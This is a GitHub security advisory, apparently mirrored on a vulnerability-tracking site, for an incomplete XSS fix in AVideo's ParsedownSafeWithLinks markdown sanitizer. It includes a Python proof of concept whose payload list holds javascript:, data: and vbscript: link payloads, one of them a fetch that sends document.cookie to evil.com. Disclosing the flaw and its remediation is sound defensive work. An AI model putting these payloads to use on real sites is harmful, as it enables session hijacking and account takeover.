GHSA-M7R8-6Q9J-M2HC

Vulnerability from github – Published: 2026-04-14 23:25 – Updated: 2026-04-14 23:25
VLAI?
Summary
WWBN AVideo has an incomplete fix for CVE-2026-33500: XSS
Details

Summary

The incomplete XSS fix in AVideo's ParsedownSafeWithLinks class overrides inlineMarkup for raw HTML but does not override inlineLink() or inlineUrlTag(), allowing javascript: URLs in markdown link syntax to bypass sanitization.

Affected Package

  • Ecosystem: Other
  • Package: AVideo
  • Affected versions: < commit 3ae02fa24093
  • Patched versions: >= commit 3ae02fa24093

Details

In objects/functionsSecurity.php, the ParsedownSafeWithLinks class: - Overrides blockMarkup() -- blocks non-<a>/<img> HTML tags - Overrides inlineMarkup() -- sanitizes <a href=...> and <img src=...> in raw HTML, including an href whitelist

But the base Parsedown.php class has two additional methods that generate <a> tags: - inlineLink() (line ~1388) -- processes [text](url) markdown syntax, sets href = URL directly - inlineUrlTag() (line ~1558) -- processes <URL> auto-link syntax, sets href = URL directly

Neither is overridden by ParsedownSafeWithLinks, so [Click me](javascript:alert(document.cookie)) produces <a href="javascript:alert(document.cookie)">Click me</a> without any sanitization.

The fix sanitizes raw HTML <a> tags via inlineMarkup but misses the markdown-native link syntax ([text](url)) and auto-link syntax (<url>) which produce <a> tags through different code paths in the base Parsedown class.

PoC

"""
CVE-2026-33500 - Incomplete XSS fix in AVideo ParsedownSafeWithLinks

Tests REAL vulnerable code from:
  objects/functionsSecurity.php (commit f154167, pre-fix 3ae02fa)
  vendor/erusev/parsedown/Parsedown.php

The ParsedownSafeWithLinks class overrides:
  - blockMarkup (blocks non-a/img HTML)
  - inlineMarkup (sanitizes <a> and <img> inline HTML)
  - inlineLink is NOT overridden (markdown [text](url) syntax)

But the base Parsedown class has inlineLink() at line 1388 which creates
<a href="URL"> from markdown [text](url) without any href sanitization.
Since ParsedownSafeWithLinks does NOT override inlineLink(), a malicious
javascript: URL in markdown link syntax passes through unsanitized.

Additionally, inlineUrlTag() at line 1558 handles <URL> auto-link syntax
and creates <a href="URL"> without sanitization either.
"""

import re
import sys
import os

src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src')

parsedown_src = open(os.path.join(src_dir, 'Parsedown.php')).read()
security_src = open(os.path.join(src_dir, 'functionsSecurity.php')).read()

print("=" * 60)
print("CVE-2026-33500: AVideo ParsedownSafeWithLinks XSS Bypass PoC")
print("=" * 60)
print()

has_class = 'ParsedownSafeWithLinks' in security_src
has_block_markup = 'function blockMarkup' in security_src
has_inline_markup = 'function inlineMarkup' in security_src
has_inline_link_override = 'function inlineLink' in security_src
has_inline_url_tag_override = 'function inlineUrlTag' in security_src

base_has_inline_link = 'function inlineLink' in parsedown_src
base_has_inline_url_tag = 'function inlineUrlTag' in parsedown_src

print("[*] ParsedownSafeWithLinks class found: " + str(has_class))
print("[*] Overrides blockMarkup: " + str(has_block_markup))
print("[*] Overrides inlineMarkup: " + str(has_inline_markup))
print("[*] Overrides inlineLink: " + str(has_inline_link_override))
print("[*] Overrides inlineUrlTag: " + str(has_inline_url_tag_override))
print()
print("[*] Base Parsedown has inlineLink: " + str(base_has_inline_link))
print("[*] Base Parsedown has inlineUrlTag: " + str(base_has_inline_url_tag))
print()

if not has_inline_link_override and base_has_inline_link:
    print("[+] BYPASS FOUND: inlineLink NOT overridden!")
    print("    Markdown syntax [text](javascript:...) bypasses sanitization")
    print()

if not has_inline_url_tag_override and base_has_inline_url_tag:
    print("[+] BYPASS FOUND: inlineUrlTag NOT overridden!")
    print("    Auto-link syntax <javascript:...> bypasses sanitization")
    print()

def simulate_parsedown_inline_link(markdown_text):
    match = re.match(r'\[([^\]]*)\]\(([^)]+)\)', markdown_text)
    if match:
        text = match.group(1)
        href = match.group(2)
        return f'<a href="{href}">{text}</a>'
    return None

payloads = [
    "[Click me](javascript:alert(document.cookie))",
    "[XSS](javascript:fetch('https://evil.com/steal?c='+document.cookie))",
    "[Data URI](data:text/html,<script>alert(1)</script>)",
    "[VBScript](vbscript:MsgBox(1))",
]

vuln_count = 0
print("[*] Testing markdown link payloads through base inlineLink():")
print()
for payload in payloads:
    result = simulate_parsedown_inline_link(payload)
    if result and ('javascript:' in result or 'data:' in result or 'vbscript:' in result):
        print(f"    BYPASS: {payload}")
        print(f"    Output: {result}")
        vuln_count += 1
    else:
        print(f"    BLOCKED: {payload}")
    print()

print()
if vuln_count > 0 and not has_inline_link_override:
    print("VULNERABILITY CONFIRMED")
    sys.exit(0)
else:
    print("VULNERABILITY NOT CONFIRMED")
    sys.exit(1)

Steps to reproduce: 1. git clone https://github.com/WWBN/AVideo /tmp/AVideo_test 2. cd /tmp/AVideo_test && git checkout 3ae02fa240939dbefc5949d64f05790fd25d728d~1 3. python3 poc.py

Expected output:

VULNERABILITY CONFIRMED
javascript: URLs in markdown [text](url) link syntax bypass sanitization since inlineLink() is not overridden.

Impact

An attacker can inject javascript: URLs via markdown link syntax in any user-generated content field that uses ParsedownSafeWithLinks (comments, descriptions, etc.). When another user clicks the rendered link, the attacker's JavaScript executes in their browser session, enabling session hijacking, account takeover, and data theft.

Suggested Remediation

Override inlineLink() and inlineUrlTag() in ParsedownSafeWithLinks to apply the same href protocol whitelist (https?://, mailto:, /, #) that inlineMarkup already applies to raw HTML <a> tags. Reject any href that does not match the whitelist.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:25:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe incomplete XSS fix in AVideo\u0027s `ParsedownSafeWithLinks` class overrides `inlineMarkup` for raw HTML but does not override `inlineLink()` or `inlineUrlTag()`, allowing `javascript:` URLs in markdown link syntax to bypass sanitization.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** AVideo\n- **Affected versions:** \u003c commit 3ae02fa24093\n- **Patched versions:** \u003e= commit 3ae02fa24093\n\n### Details\n\nIn `objects/functionsSecurity.php`, the `ParsedownSafeWithLinks` class:\n- Overrides `blockMarkup()` -- blocks non-`\u003ca\u003e`/`\u003cimg\u003e` HTML tags\n- Overrides `inlineMarkup()` -- sanitizes `\u003ca href=...\u003e` and `\u003cimg src=...\u003e` in raw HTML, including an href whitelist\n\nBut the base `Parsedown.php` class has two additional methods that generate `\u003ca\u003e` tags:\n- `inlineLink()` (line ~1388) -- processes `[text](url)` markdown syntax, sets `href` = URL directly\n- `inlineUrlTag()` (line ~1558) -- processes `\u003cURL\u003e` auto-link syntax, sets `href` = URL directly\n\nNeither is overridden by `ParsedownSafeWithLinks`, so `[Click me](javascript:alert(document.cookie))` produces `\u003ca href=\"javascript:alert(document.cookie)\"\u003eClick me\u003c/a\u003e` without any sanitization.\n\nThe fix sanitizes raw HTML `\u003ca\u003e` tags via `inlineMarkup` but misses the markdown-native link syntax (`[text](url)`) and auto-link syntax (`\u003curl\u003e`) which produce `\u003ca\u003e` tags through different code paths in the base Parsedown class.\n\n### PoC\n\n```python\n\"\"\"\nCVE-2026-33500 - Incomplete XSS fix in AVideo ParsedownSafeWithLinks\n\nTests REAL vulnerable code from:\n  objects/functionsSecurity.php (commit f154167, pre-fix 3ae02fa)\n  vendor/erusev/parsedown/Parsedown.php\n\nThe ParsedownSafeWithLinks class overrides:\n  - blockMarkup (blocks non-a/img HTML)\n  - inlineMarkup (sanitizes \u003ca\u003e and \u003cimg\u003e inline HTML)\n  - inlineLink is NOT overridden (markdown [text](url) syntax)\n\nBut the base Parsedown class has inlineLink() at line 1388 which creates\n\u003ca href=\"URL\"\u003e from markdown [text](url) without any href sanitization.\nSince ParsedownSafeWithLinks does NOT override inlineLink(), a malicious\njavascript: URL in markdown link syntax passes through unsanitized.\n\nAdditionally, inlineUrlTag() at line 1558 handles \u003cURL\u003e auto-link syntax\nand creates \u003ca href=\"URL\"\u003e without sanitization either.\n\"\"\"\n\nimport re\nimport sys\nimport os\n\nsrc_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), \u0027src\u0027)\n\nparsedown_src = open(os.path.join(src_dir, \u0027Parsedown.php\u0027)).read()\nsecurity_src = open(os.path.join(src_dir, \u0027functionsSecurity.php\u0027)).read()\n\nprint(\"=\" * 60)\nprint(\"CVE-2026-33500: AVideo ParsedownSafeWithLinks XSS Bypass PoC\")\nprint(\"=\" * 60)\nprint()\n\nhas_class = \u0027ParsedownSafeWithLinks\u0027 in security_src\nhas_block_markup = \u0027function blockMarkup\u0027 in security_src\nhas_inline_markup = \u0027function inlineMarkup\u0027 in security_src\nhas_inline_link_override = \u0027function inlineLink\u0027 in security_src\nhas_inline_url_tag_override = \u0027function inlineUrlTag\u0027 in security_src\n\nbase_has_inline_link = \u0027function inlineLink\u0027 in parsedown_src\nbase_has_inline_url_tag = \u0027function inlineUrlTag\u0027 in parsedown_src\n\nprint(\"[*] ParsedownSafeWithLinks class found: \" + str(has_class))\nprint(\"[*] Overrides blockMarkup: \" + str(has_block_markup))\nprint(\"[*] Overrides inlineMarkup: \" + str(has_inline_markup))\nprint(\"[*] Overrides inlineLink: \" + str(has_inline_link_override))\nprint(\"[*] Overrides inlineUrlTag: \" + str(has_inline_url_tag_override))\nprint()\nprint(\"[*] Base Parsedown has inlineLink: \" + str(base_has_inline_link))\nprint(\"[*] Base Parsedown has inlineUrlTag: \" + str(base_has_inline_url_tag))\nprint()\n\nif not has_inline_link_override and base_has_inline_link:\n    print(\"[+] BYPASS FOUND: inlineLink NOT overridden!\")\n    print(\"    Markdown syntax [text](javascript:...) bypasses sanitization\")\n    print()\n\nif not has_inline_url_tag_override and base_has_inline_url_tag:\n    print(\"[+] BYPASS FOUND: inlineUrlTag NOT overridden!\")\n    print(\"    Auto-link syntax \u003cjavascript:...\u003e bypasses sanitization\")\n    print()\n\ndef simulate_parsedown_inline_link(markdown_text):\n    match = re.match(r\u0027\\[([^\\]]*)\\]\\(([^)]+)\\)\u0027, markdown_text)\n    if match:\n        text = match.group(1)\n        href = match.group(2)\n        return f\u0027\u003ca href=\"{href}\"\u003e{text}\u003c/a\u003e\u0027\n    return None\n\npayloads = [\n    \"[Click me](javascript:alert(document.cookie))\",\n    \"[XSS](javascript:fetch(\u0027https://evil.com/steal?c=\u0027+document.cookie))\",\n    \"[Data URI](data:text/html,\u003cscript\u003ealert(1)\u003c/script\u003e)\",\n    \"[VBScript](vbscript:MsgBox(1))\",\n]\n\nvuln_count = 0\nprint(\"[*] Testing markdown link payloads through base inlineLink():\")\nprint()\nfor payload in payloads:\n    result = simulate_parsedown_inline_link(payload)\n    if result and (\u0027javascript:\u0027 in result or \u0027data:\u0027 in result or \u0027vbscript:\u0027 in result):\n        print(f\"    BYPASS: {payload}\")\n        print(f\"    Output: {result}\")\n        vuln_count += 1\n    else:\n        print(f\"    BLOCKED: {payload}\")\n    print()\n\nprint()\nif vuln_count \u003e 0 and not has_inline_link_override:\n    print(\"VULNERABILITY CONFIRMED\")\n    sys.exit(0)\nelse:\n    print(\"VULNERABILITY NOT CONFIRMED\")\n    sys.exit(1)\n\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test`\n2. `cd /tmp/AVideo_test \u0026\u0026 git checkout 3ae02fa240939dbefc5949d64f05790fd25d728d~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\njavascript: URLs in markdown [text](url) link syntax bypass sanitization since inlineLink() is not overridden.\n```\n\n### Impact\n\nAn attacker can inject `javascript:` URLs via markdown link syntax in any user-generated content field that uses `ParsedownSafeWithLinks` (comments, descriptions, etc.). When another user clicks the rendered link, the attacker\u0027s JavaScript executes in their browser session, enabling session hijacking, account takeover, and data theft.\n\n### Suggested Remediation\n\nOverride `inlineLink()` and `inlineUrlTag()` in `ParsedownSafeWithLinks` to apply the same `href` protocol whitelist (`https?://`, `mailto:`, `/`, `#`) that `inlineMarkup` already applies to raw HTML `\u003ca\u003e` tags. Reject any href that does not match the whitelist.",
  "id": "GHSA-m7r8-6q9j-m2hc",
  "modified": "2026-04-14T23:25:28Z",
  "published": "2026-04-14T23:25:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m7r8-6q9j-m2hc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33500"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/3ae02fa240939dbefc5949d64f05790fd25d728d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "WWBN AVideo has an incomplete fix for CVE-2026-33500: XSS"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…